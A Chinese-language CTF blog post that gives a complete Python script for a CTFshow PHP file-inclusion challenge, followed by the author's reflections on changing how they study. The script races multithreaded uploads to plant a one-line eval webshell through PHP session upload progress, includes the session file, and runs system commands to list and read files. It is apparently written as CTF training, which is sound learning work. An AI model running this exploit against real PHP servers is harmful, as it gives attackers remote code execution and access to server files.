0 前言
这次将是最后一篇关于 php文件包含 利用的文章,这几篇文章的内容几乎可以满足绝大多数简单的文件包含题目,以后的文章会更偏向于原理分析、比赛真题、程序分析。
在前面几篇文章中,用了 CTFshow 的几道例题来讲解我使用 php支持的协议
来进行 php文件
的利用,而这篇文章则主要讲解条件竞争的 Python 脚本(比较懒,加上最近事情比较多,介绍条件竞争的博客已经非常多了)。
1 Payload
import requests
import threading
# 攻击目标
HOST = "http://945b440c-5593-4910-8bd1-65c05fa2af13.challenge.ctf.show:8080/"
headers = {
'Connection': 'close',
# 上传后的文件名为:sess + $PHPSESSID = sess_slug01sh,所以 PHPSESSID 可以自定义。
'Cookie': 'PHPSESSID=slug01sh'
}
# success 用于设置标志,可以知道是否包含成功。
payload = """success<?php @eval($_GET[code]);?>"""
# 封装成函数,方便设置多线程。
def run():
# padding为8MB,用于上传。
padding = 'a'*(80000-1)
while True:
# 后台会保存同时保存「上传的文件」和「sess」文件。后台会先删除上传的文件,当上传的文件比较大就会导致 sess 有比较长的停留时间,从而导致被包含。
# 故有以下几点关键因素:
# 1. Padding足够大
# 2. 线程数足够多。
# 3. 网速足够好。
requests.post(
url=HOST,
# 上传文件文件。
files={"file": (
"f", padding)},
# 保存 sess 文件
data={
'PHP_SESSION_UPLOAD_PROGRESS': payload
},
headers=headers
)
# 程序入口,这样写比较会比较清晰。
if __name__ == '__main__':
# 使用多线程进行文件上传
for i in range(10):
T = threading.Thread(target=run, args=())
T.start()
while True:
res = requests.get(
url=HOST,
params={
'file': '/tmp/sess_slug01sh',
# 根据 payload 可以知道,上传的一句话密码为 code,通过 GET 参数传入代码即可运行。
# tac * 命令可以查看当前文件夹的所有文件(不递归)。
'code': 'system("ls /");system("tac *");'
}
)
print(res.url)
# print(res.text)
if 'success' in res.text:
print(res.text)
break
n 闲聊
最近打了《巅峰极客》,感觉还是比较最近一个月刷的题几乎没有起到任何作用。感觉是自己刷题的方向出现了问题。
前段时间的我更偏向于自底向上方式。也就是通过一个知识点一个知识点的刷题,期望能对自己打 CTF 有帮助,有点类似高中的模式。
但事与愿违,我的想法过于理想化了。在 CTF 的赛题中,很多时候是需要当场寻找 CVE,然后结合题目进行攻击。CTF 考察的是一种比较综合的能力。需要现场搭建环境的能力
、快速搜索能力
、调试能力
、对漏洞的理解程度
等等。
后面我打算偏向于自顶向下的方式。也就是拿经典的赛题、CVE、或者顶级会议的议题来进行分析(拆分问题,然后理解)。类似 ha1c9on
师傅的路线吧。
正如有一位大佬所说多注重原理,而不是 trick
,感觉自己快迷失在知识的海洋里了,希望这一次的方向调整能有所帮助。